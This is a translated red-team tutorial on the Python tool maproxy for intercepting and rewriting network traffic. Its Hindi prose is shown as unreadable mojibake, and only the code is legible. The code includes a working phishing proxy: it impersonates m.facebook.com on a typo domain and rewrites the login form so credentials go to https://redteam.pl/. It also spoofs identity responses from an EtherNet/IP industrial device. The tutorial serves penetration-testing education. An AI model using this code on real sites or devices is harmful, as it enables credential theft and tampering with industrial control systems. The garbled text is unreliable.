рдордХреНрдЦреА рдкрд░ рдиреЗрдЯрд╡рд░реНрдХ рдбрд╛рдЯрд╛ рдкреНрд░реЛрд╕реЗрд╕рд┐рдВрдЧ

рдкреЗрдВрдЯреЗрд╕реНрдЯ рдХреА рд╢реБрд░реБрдЖрдд рд╕реЗ рдкрд╣рд▓реЗ рд▓реЗрдЦ рдХрд╛ рдЕрдиреБрд╡рд╛рдж рддреИрдпрд╛рд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ ред рдкреНрд░рд╡реЗрд╢ рдкрд░реАрдХреНрд╖рдг рдЕрднреНрдпрд╛рд╕ ред "





рдЯрд┐рдкреНрдкрдгреА


рдирд┐рдпрдорд┐рдд рдкреНрд░рд╡реЗрд╢ рдкрд░реАрдХреНрд╖рдг рдФрд░ рд░реЗрдб рдЯреАрдо рдХреЗ рд╕рдВрдЪрд╛рд▓рди рд╕реЗ рд▓реЗрдХрд░ IoT / ICS рдЙрдкрдХрд░рдгреЛрдВ рдФрд░ SCADA рдХреЛ рд╣реИрдХ рдХрд░рдиреЗ рддрдХ, рд╡рд┐рднрд┐рдиреНрди рдкреНрд░рдХрд╛рд░ рдХреЗ рд╕реБрд░рдХреНрд╖рд╛ рдЖрдХрд▓рди, рдХрд╛ рдЕрд░реНрде рд╣реИ рдмрд╛рдЗрдирд░реА рдиреЗрдЯрд╡рд░реНрдХ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рдирд╛, рдЕрд░реНрдерд╛рдд, рдХреНрд▓рд╛рдЗрдВрдЯ рдФрд░ рд▓рдХреНрд╖реНрдп рдХреЗ рдмреАрдЪ рдиреЗрдЯрд╡рд░реНрдХ рдбреЗрдЯрд╛ рдХреЛ рдЗрдВрдЯрд░рд╕реЗрдкреНрдЯ рдХрд░рдирд╛ рдФрд░ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдирд╛ред рдиреЗрдЯрд╡рд░реНрдХ рдЯреНрд░реИрдлрд╝рд┐рдХ рдХреЛ рд╕реВрдБрдШрдирд╛ рдХреЛрдИ рдореБрд╢реНрдХрд┐рд▓ рдХрд╛рдо рдирд╣реАрдВ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рд╣рдорд╛рд░реЗ рдкрд╛рд╕ Wireshark, Tcpdump рдпрд╛ Scapy рдЬреИрд╕реЗ рдЙрдкрдХрд░рдг рд╣реИрдВ, рд▓реЗрдХрд┐рди рд╕рдВрд╢реЛрдзрди рдЕрдзрд┐рдХ рд╕рдордп рд▓реЗрдиреЗ рд╡рд╛рд▓рд╛ рд▓рдЧрддрд╛ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рд╣рдореЗрдВ рдиреЗрдЯрд╡рд░реНрдХ рдбреЗрдЯрд╛ рдкрдврд╝рдиреЗ, рдЗрд╕реЗ рдЫрд╛рдирдиреЗ, рдЗрд╕реЗ рдордХреНрдЦреА рдкрд░ рдмрджрд▓рдиреЗ рдФрд░ рд╡рд╛рдкрд╕ рднреЗрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдЕрджреНрд╡рд┐рддреАрдп рдЗрдВрдЯрд░рдлрд╝реЗрд╕ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреАред рд▓рдЧрднрдЧ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╕рдордп рдореЗрдВ рд▓рдХреНрд╖реНрдп рд╣реЛрд╕реНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдПред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдпрд╣ рдЖрджрд░реНрд╢ рд╣реЛрдЧрд╛ рдпрджрд┐ рдРрд╕рд╛ рдЙрдкрдХрд░рдг рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдХрдИ рд╕рдорд╛рдирд╛рдВрддрд░ рдХрдиреЗрдХреНрд╢рди рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдЗрд╕рдореЗрдВ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЕрдиреБрдХреВрд▓рд┐рдд рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рдереАред

рдПрдХ рдмрд╛рд░ рдЬрдм рдореБрдЭреЗ рдПрдХ рдЯреВрд▓ рдХрд╛ рдкрддрд╛ рдЪрд▓рд╛ maproxy, рддреЛ рдбреЙрдХреНрдпреВрдореЗрдВрдЯреЗрд╢рди рдиреЗ рдореБрдЭреЗ рддреБрд░рдВрдд maproxyрдмрддрд╛ рджрд┐рдпрд╛ рдХрд┐ - рдмрд╕ рдореБрдЭреЗ рдХреНрдпрд╛ рдЪрд╛рд╣рд┐рдПред рдпрд╣ рдЯреАрд╕реАрдкреА рдкреНрд░реЙрдХреНрд╕реА рдХреЛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд╛рдлреА рд╕рд░рд▓, рдмрд╣реБрдореБрдЦреА рдФрд░ рдЖрд╕рд╛рди рд╣реИред рдореИрдВрдиреЗ рдЗрд╕ рдЙрдкрдХрд░рдг рдХрд╛ рдХрдИ рдЬрдЯрд┐рд▓ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдкрд░ рдкрд░реАрдХреНрд╖рдг рдХрд┐рдпрд╛, рдЬрд┐рд╕рдореЗрдВ рдЖрдИрд╕реАрдПрд╕ рдбрд┐рд╡рд╛рдЗрд╕ (рдЬреЛ рдХрдИ рдкреИрдХреЗрдЬ рдЙрддреНрдкрдиреНрди рдХрд░рддрд╛ рд╣реИ) рд╢рд╛рдорд┐рд▓ рд╣реИрдВ, рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдХреНрдпрд╛ рдпрд╣ рдХрдИ рд╕рдорд╛рдирд╛рдВрддрд░ рдХрдиреЗрдХреНрд╢рди рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдФрд░ рдЙрдкрдХрд░рдг рдиреЗ рдЕрдЪреНрдЫрд╛ рдкреНрд░рджрд░реНрд╢рди рдХрд┐рдпрд╛ред

рдпрд╣ рд▓реЗрдЦ рдЖрдкрдХреЛ рдордХреНрдЦреА рдХреЗ рд╕рд╛рде рдиреЗрдЯрд╡рд░реНрдХ рдбреЗрдЯрд╛ рдХреЗ рдкреНрд░рд╕рдВрд╕реНрдХрд░рдг рд╕реЗ рдкрд░рд┐рдЪрд┐рдд рдХрд░рд╛рдПрдЧрд╛ maproxyред

рдЕрд╡рд▓реЛрдХрди


рдЙрдкрдХрд░рдг maproxyрдЯреЛрд░рдиреЗрдбреЛ рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд╣реИ, рдЬреЛ рдПрдХ рд▓реЛрдХрдкреНрд░рд┐рдп рдФрд░ рдЕрдЪреНрдЫреА рддрд░рд╣ рд╕реЗ рд╡рд┐рдХрд╕рд┐рдд рдЕрддреБрд▓реНрдпрдХрд╛рд▓рд┐рдХ рдкрд╛рдпрдерди рдиреЗрдЯрд╡рд░реНрдХ рдлреНрд░реЗрдорд╡рд░реНрдХ рд╣реИред

рд╕рд╛рдорд╛рдиреНрдп рддреМрд░ рдкрд░, рдпрд╣ рдХрдИ рдореЛрдб рдореЗрдВ рдХрд╛рдо рдХрд░ рд╕рдХрддрд╛ рд╣реИ:

  • TCP:TCP - рдЕрдирдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рдЯреАрд╕реАрдкреА рдХрдиреЗрдХреНрд╢рди;
  • TCP:SSLрдФрд░ SSL:TCP- рд╡рди-рд╡реЗ рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдХреЗ рд╕рд╛рде;
  • SSL:SSL - рдЯреВ-рд╡реЗ рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рдиред

рдпрд╣ рдПрдХ рдкреБрд╕реНрддрдХрд╛рд▓рдп рдХреЗ рд░реВрдк рдореЗрдВ рдЖрддрд╛ рд╣реИред рддреНрд╡рд░рд┐рдд рд╢реБрд░реБрдЖрдд рдХреЗ рд▓рд┐рдП рдЖрдк рдирдореВрдирд╛ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдкреБрд╕реНрддрдХрд╛рд▓рдп рдХреЗ рдореБрдЦреНрдп рдХрд╛рд░реНрдпреЛрдВ рдХреЛ рджрд░реНрд╢рд╛рддреА рд╣реИрдВ :

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

рдХреЗрд╕ 1 - рд╕рд░рд▓ рджреНрд╡рд┐рджрд┐рд╢ рдкреНрд░реЙрдХреНрд╕реА


рдХреЗ рдЖрдзрд╛рд░ рдкрд░ tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ, рдпрд╣ ProxyServer()рджреЛ рддрд░реНрдХ рд▓реЗрддрд╛ рд╣реИ - рдХрдиреЗрдХреНрд╢рди рд╕реНрдерд╛рди рдФрд░ рдЧрдВрддрд╡реНрдп рдкреЛрд░реНрдЯред server.listen()рдПрдХ рддрд░реНрдХ рд▓реЗрддрд╛ рд╣реИ - рдЖрдиреЗ рд╡рд╛рд▓реЗ рдХрдиреЗрдХреНрд╢рди рдХреЛ рд╕реБрдирдиреЗ рдХреЗ рд▓рд┐рдП рдкреЛрд░реНрдЯред

рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдирд┐рд╖реНрдкрд╛рджрди:

# python tcp2tcp.py

рдкрд░реАрдХреНрд╖рдг рдХрд╛ рд╕рдВрдЪрд╛рд▓рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдо рдЕрдкрдиреЗ рдкреНрд░реЙрдХреНрд╕реА рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕реНрдерд╛рдиреАрдп рдПрд╕рдПрд╕рдПрдЪ рд╕рд░реНрд╡рд░ рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдЬрд╛ рд░рд╣реЗ рд╣реИрдВ, рдЬреЛ 2222/tcpрдкреЛрд░реНрдЯ рдкрд░ рд╕реБрдирддрд╛ рд╣реИ рдФрд░ рдорд╛рдирдХ 22/tcpрдПрд╕рдПрд╕рдПрдЪ рд╕рд░реНрд╡рд░ рдкреЛрд░реНрдЯ рд╕реЗ рдЬреЛрдбрд╝рддрд╛ рд╣реИ :



рдПрдХ рд╕реНрд╡рд╛рдЧрдд рдмреИрдирд░ рд╣рдореЗрдВ рд╕реВрдЪрд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рд╣рдорд╛рд░реА рдирдореВрдирд╛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рдиреЗрдЯрд╡рд░реНрдХ рдЯреНрд░реИрдлрд╝рд┐рдХ рдХрд╛ рд╕рдВрдХреЗрдд рджреЗрддреА рд╣реИред

рдХреЗрд╕ 2 - рдбреЗрдЯрд╛ рд╕рдВрд╢реЛрдзрди


logging_proxy.pyрдиреЗрдЯрд╡рд░реНрдХ рдбреЗрдЯрд╛ рдХреЗ рд╕рд╛рде рдмрд╛рддрдЪреАрдд рдХреЗ рд▓рд┐рдП рдПрдХ рдФрд░ рдбреЗрдореЛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЖрджрд░реНрд╢ рд╣реИред рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдЯрд┐рдкреНрдкрдгреА рд╡рд░реНрдЧ рд╡рд┐рдзрд┐рдпреЛрдВ рдХрд╛ рд╡рд░реНрдгрди рдХрд░рддреА рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ рдЖрдк рдЕрдкрдиреЗ рд▓рдХреНрд╖реНрдп рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:



рдпрд╣рд╛рдВ рд╕рдмрд╕реЗ рджрд┐рд▓рдЪрд╕реНрдк:

  • on_c2p_done_read - рдХреНрд▓рд╛рдЗрдВрдЯ рд╕реЗ рд╕рд░реНрд╡рд░ рддрдХ рдХреЗ рд░рд╛рд╕реНрддреЗ рдкрд░ рдбреЗрдЯрд╛ рдХреЛ рдЗрдВрдЯрд░рд╕реЗрдкреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП;
  • on_p2s_done_read - рдЙрд▓рдЯред

рдЖрдЗрдП SSH рдмреИрдирд░ рдХреЛ рдмрджрд▓рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВ рдЬреЛ рд╕рд░реНрд╡рд░ рдХреНрд▓рд╛рдЗрдВрдЯ рдХреЛ рджреЗрддрд╛ рд╣реИ:

[тАж]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[тАж]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[тАж]

рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рдЪрд▓рд╛рдПрдВ:



рдЬреИрд╕рд╛ рдХрд┐ рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ, рдХреНрд▓рд╛рдЗрдВрдЯ рдХреЛ рдЧреБрдорд░рд╛рд╣ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рдХреНрдпреЛрдВрдХрд┐ рдЗрд╕рдХреЗ рд▓рд┐рдП SSH рд╕рд░реНрд╡рд░ рдХрд╛ рдирд╛рдо рдмрджрд▓ рджрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ ┬лDumnySSH┬╗ред



рдХреЗрд╕ 3 - рд╕рд╛рдзрд╛рд░рдг рдлрд╝рд┐рд╢рд┐рдВрдЧ рд╡реЗрдм рдкреЗрдЬ


рдЗрд╕ рдЙрдкрдХрд░рдг рдХреЗ рд▓рд┐рдП рдЕрдирдВрдд рд╕рдВрдЦреНрдпрд╛ рдореЗрдВ рдЙрдкрдпреЛрдЧ рд╣реИрдВред рдЗрд╕ рдмрд╛рд░, рд░реЗрдб рдЯреАрдо рд╕рдВрдЪрд╛рд▓рди рдХреНрд╖реЗрддреНрд░ рд╕реЗ рдХреБрдЫ рдФрд░ рдЕрдзрд┐рдХ рд╡реНрдпрд╛рд╡рд╣рд╛рд░рд┐рдХ рдкрд░ рдзреНрдпрд╛рди рджреЗрдВред m.facebook.comрдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рд╣рдо рд▓реИрдВрдбрд┐рдВрдЧ рдХреА рдирдХрд▓ рдХрд░рддреЗ рд╣реИрдВ , рдФрд░ рдЬрд╛рдирдмреВрдЭрдХрд░ рдЯрд╛рдЗрдкреЛ рдХреЗ рд╕рд╛рде рдХрд╕реНрдЯрдо рдбреЛрдореЗрди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ m.facebok.comред рдкреНрд░рджрд░реНрд╢рди рдЙрджреНрджреЗрд╢реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП, рдмрд╕ рдорд╛рди рд▓реЗрдВ рдХрд┐ рдбреЛрдореЗрди рд╣рдорд╛рд░реЗ рджреНрд╡рд╛рд░рд╛ рдкрдВрдЬреАрдХреГрдд рд╣реИред

рд╣рдо рдлреЗрд╕рдмреБрдХ рд╕рд░реНрд╡рд░ рдХреЗ рд▓рд┐рдП рд╣рдорд╛рд░реЗ рдкреАрдбрд╝рд┐рдд рдкреНрд░реЙрдХреНрд╕реА рдФрд░ рдПрд╕рдПрд╕рдПрд▓ рд╕реНрдЯреНрд░реАрдо рдХреЗ рд╕рд╛рде рдПрдХ рдЕрдирдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рдиреЗрдЯрд╡рд░реНрдХ рдХрдиреЗрдХреНрд╢рди рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдЬрд╛ рд░рд╣реЗ рд╣реИрдВ 31.13.81.36ред рдЗрд╕ рдЙрджрд╛рд╣рд░рдг рдХреЛ рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдореЗрдВ HTTP рд╣реЛрд╕реНрдЯ рд╣реЗрдбрд░ рдХреЛ рдмрджрд▓рдиреЗ рдФрд░ рд╕рд╣реА рд╣реЛрд╕реНрдЯ рдирд╛рдо рдХреЛ рд▓рд╛рдЧреВ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ, рдФрд░ рд╣рдо рдЙрдирдХреА рд╕рд╛рдордЧреНрд░реА рддрдХ рдЖрд╕рд╛рди рдкрд╣реБрдВрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╕рдВрдкреАрдбрд╝рди рдХреЛ рднреА рдЕрдХреНрд╖рдо рдХрд░реЗрдВрдЧреЗред рдЕрдВрдд рдореЗрдВ, рд╣рдо HTML рдлреЙрд░реНрдо рдХреЛ рдмрджрд▓ рджреЗрдВрдЧреЗ, рддрд╛рдХрд┐ рдлреЗрд╕рдмреБрдХ рд╕рд░реНрд╡рд░ рдХреЗ рдмрдЬрд╛рдп рд▓реЙрдЧрд┐рди рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рд╣рдореЗрдВ рднреЗрдЬреЗ рдЬрд╛рдПрдВ:

[тАж]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[тАж]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action=\"/login/", "action=\"https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[тАж]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[тАж]

рдЕрдВрдд рдореЗрдВ:



рдЬреИрд╕рд╛ рдХрд┐ рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ, рд╣рдо рдореВрд▓ рд╕рд╛рдЗрдЯ рдХреЛ рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рдмрджрд▓рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдереЗред

рдХреЗрд╕ 4 - рдИрдерд░рдиреЗрдЯ / рдЖрдИрдкреА рдкреЛрд░реНрдЯ


рдореИрдВ рдХрд╛рдлреА рд╕рдордп рд╕реЗ рдФрджреНрдпреЛрдЧрд┐рдХ рдЙрдкрдХрд░рдгреЛрдВ рдФрд░ рд╕реЙрдлреНрдЯрд╡реЗрдпрд░ (ICS / SCADA) рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░ рд░рд╣рд╛ рд╣реВрдВ, рдЬреИрд╕реЗ рдХрд┐ рдкреНрд░реЛрдЧреНрд░рд╛рдореЗрдмрд▓ рдХрдВрдЯреНрд░реЛрд▓рд░ (PLC), I / O рдореЙрдбреНрдпреВрд▓, рдбреНрд░рд╛рдЗрд╡, рд░рд┐рд▓реЗ, рд▓реИрдбрд░ рдкреНрд░реЛрдЧреНрд░рд╛рдорд┐рдВрдЧ рд╡рд╛рддрд╛рд╡рд░рдг рдФрд░ рдмрд╣реБрдд рдХреБрдЫред рдпрд╣ рдорд╛рдорд▓рд╛ рдЙрди рд▓реЛрдЧреЛрдВ рдХреЗ рд▓рд┐рдП рд╣реИ рдЬреЛ рдФрджреНрдпреЛрдЧрд┐рдХ рд╕рд╛рдорд╛рди рдкрд╕рдВрдж рдХрд░рддреЗ рд╣реИрдВред рдРрд╕реЗ рд╕рдорд╛рдзрд╛рдиреЛрдВ рдХреЛ рд╣реИрдХ рдХрд░рдиреЗ рдореЗрдВ рдиреЗрдЯрд╡рд░реНрдХ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЗ рд╕рд╛рде рдПрдХ рд╕рдХреНрд░рд┐рдп рдЧреЗрдо рд╢рд╛рдорд┐рд▓ рд╣реИред рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЙрджрд╛рд╣рд░рдг рдореЗрдВ, рдореИрдВ рдпрд╣ рджрд┐рдЦрд╛рдирд╛ рдЪрд╛рд╣реВрдВрдЧрд╛ рдХрд┐ рдЖрдк ICS / SCADA рдиреЗрдЯрд╡рд░реНрдХ рдЯреНрд░реИрдлрд╝рд┐рдХ рдХреЛ рдХреИрд╕реЗ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рдРрд╕рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреА:

  • рдиреЗрдЯрд╡рд░реНрдХ рд╕реНрдирд┐рдлрд╝рд░, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рд╡рд┐рд░реЗрд╢рд░;
  • рдИрдерд░рдиреЗрдЯ / рдЖрдИрдкреА рдпрд╛ рд╕рд┐рд░реНрдл рдПрдХ рдПрд╕рдЖрдИрдкреА рдбрд┐рд╡рд╛рдЗрд╕, рдЖрдк рдЗрд╕реЗ рд╢реЛрдбрд╛рди рд╕реЗрд╡рд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ;
  • рд╣рдорд╛рд░реА рд▓рд┐рдкрд┐ рдЖрдзрд╛рд░рд┐рдд рд╣реИ maproxyред

рдЖрд░рдВрдн рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдЗрдП рджреЗрдЦреЗрдВ рдХрд┐ рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ CIP (рд╕рд╛рдорд╛рдиреНрдп рдФрджреНрдпреЛрдЧрд┐рдХ рдкреНрд░реЛрдЯреЛрдХреЙрд▓) рдкрд╣рдЪрд╛рди рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреНрдпрд╛ рд╣реИ:



рдбрд┐рд╡рд╛рдЗрд╕ рдкрд╣рдЪрд╛рди рдИрдерд░рдиреЗрдЯ / IP рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХреА рдЬрд╛рддреА рд╣реИ, рдЬреЛ рдФрджреНрдпреЛрдЧрд┐рдХ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЗ рд▓рд┐рдП рдИрдерд░рдиреЗрдЯ рдХрд╛ рдПрдХ рд╡рд┐рд╕реНрддрд╛рд░рд┐рдд рд╕рдВрд╕реНрдХрд░рдг рд╣реИ, рдпрд╣ CIP рдЬреИрд╕реЗ рдирд┐рдпрдВрддреНрд░рдг рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЛ рд▓рдкреЗрдЯрддрд╛ рд╣реИред рд╣рдо рд╣рд╛рдЗрд▓рд╛рдЗрдЯ рдХрд┐рдП рдЧрдП рдкрд╣рдЪрд╛рди рдирд╛рдо рдХреЛ рдмрджрд▓рдиреЗ рдЬрд╛ рд░рд╣реЗ рд╣реИрдВ, рдЬрд┐рд╕реЗ рд╣рдорд╛рд░реА рдкреНрд░реЙрдХреНрд╕реА рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ "рдПрдирдЖрдИ-рдЗрдВрдбрдХреЙрдо рдлреЙрд░ рдИрдерд░рдиреЗрдЯ" рдХреЗ рд╕реНрдХреНрд░реАрдирд╢реЙрдЯ рдореЗрдВ рджреЗрдЦрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ ред рд╣рдо рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдкреБрди: рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ logging_proxy.pyрдФрд░ рдЗрд╕реА рддрд░рд╣ рдХрдХреНрд╖рд╛ рдкрджреНрдзрддрд┐ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд on_p2s_done_readрдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдХреНрдпреЛрдВрдХрд┐ рд╣рдо рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдХрд┐ рдХреНрд▓рд╛рдЗрдВрдЯ рдкрд░ рдПрдХ рдЕрд▓рдЧ рдкрд╣рдЪрд╛рди рдирд╛рдо рджрд┐рдЦрд╛рдИ рджреЗред

рдХреЛрдб:

[тАж]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'\x0c\x00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[тАж]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[тАж]

рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ, рд╣рдордиреЗ рдбрд┐рд╡рд╛рдЗрд╕ рдкрд╣рдЪрд╛рди рдХреЗ рд▓рд┐рдП рджреЛ рдмрд╛рд░ рдкреВрдЫрд╛, рджреВрд╕рд░рд╛ рдЬрд╡рд╛рдм рдореВрд▓ рд╣реИ, рдФрд░ рдкрд╣рд▓реЗ рдордХреНрдЦреА рдкрд░ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред

рдФрд░ рдЖрдЦрд░реА рдмрд╛рдд


рдореЗрд░реА рд░рд╛рдп рдореЗрдВ, рдПрдХ maproxyрд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рдФрд░ рд╕рд░рд▓ рдЙрдкрдХрд░рдг рдЬрд┐рд╕реЗ рдкрд╛рдпрдерди рдореЗрдВ рднреА рд▓рд┐рдЦрд╛ рдЧрдпрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдореЗрд░рд╛ рдорд╛рдирдирд╛ тАЛтАЛрд╣реИ рдХрд┐ рдЖрдк рдЗрд╕рдХреЗ рдЙрдкрдпреЛрдЧ рд╕реЗ рднреА рд▓рд╛рдн рдЙрдард╛ рд╕рдХрддреЗ рд╣реИрдВред рдмреЗрд╢рдХ, рд╡рд╣рд╛рдБ рдкреНрд░рд╕рдВрд╕реНрдХрд░рдг рдФрд░ рдиреЗрдЯрд╡рд░реНрдХ рдбреЗрдЯрд╛ рдХреЛ рдмрджрд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдФрд░ рдЕрдзрд┐рдХ рдкрд░рд┐рд╖реНрдХреГрдд рдЙрдкрдХрд░рдг рд╣реИрдВ, рд▓реЗрдХрд┐рди рд╡реЗ рднреА рдЕрдзрд┐рдХ рдзреНрдпрд╛рди рджреЗрдиреЗ рдХреА рдЬрд░реВрд░рдд рд╣реИ рдФрд░ рдЖрдорддреМрд░ рдкрд░ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдЙрдкрдпреЛрдЧ рдХреЗ рд▓рд┐рдП рдмрдирд╛рдИ рдЧрдИ рд╣реИрдВ, Muraena , Modlishka рдпрд╛ evilginx рддреАрд╕рд░реЗ, рдпрд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЗрд╕реА рддрд░рд╣ рдХреЗ рдорд╛рдорд▓реЛрдВ рдХреЗ рд▓рд┐рдП canape рдкрд┐рдЫрд▓реЗ рдорд╛рдорд▓реЗ рдХреЗ рд▓рд┐рдПред рдПрдХ рддрд░реАрдХрд╛ рдпрд╛ рджреВрд╕рд░рд╛, рдорджрдж рд╕реЗ maproxyрдЖрдк рдиреЗрдЯрд╡рд░реНрдХ рдбреЗрдЯрд╛ рдХреЛ рдЕрд╡рд░реЛрдзрди рдХреЗ рд▓рд┐рдП рдЕрдкрдиреЗ рд╡рд┐рдЪрд╛рд░реЛрдВ рдХреЛ рдЬрд▓реНрджреА рд╕реЗ рдорд╣рд╕реВрд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдХреНрдпреЛрдВрдХрд┐ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЗ рдЙрджрд╛рд╣рд░рдг рдмрд╣реБрдд рд╕реНрдкрд╖реНрдЯ рд╣реИрдВред



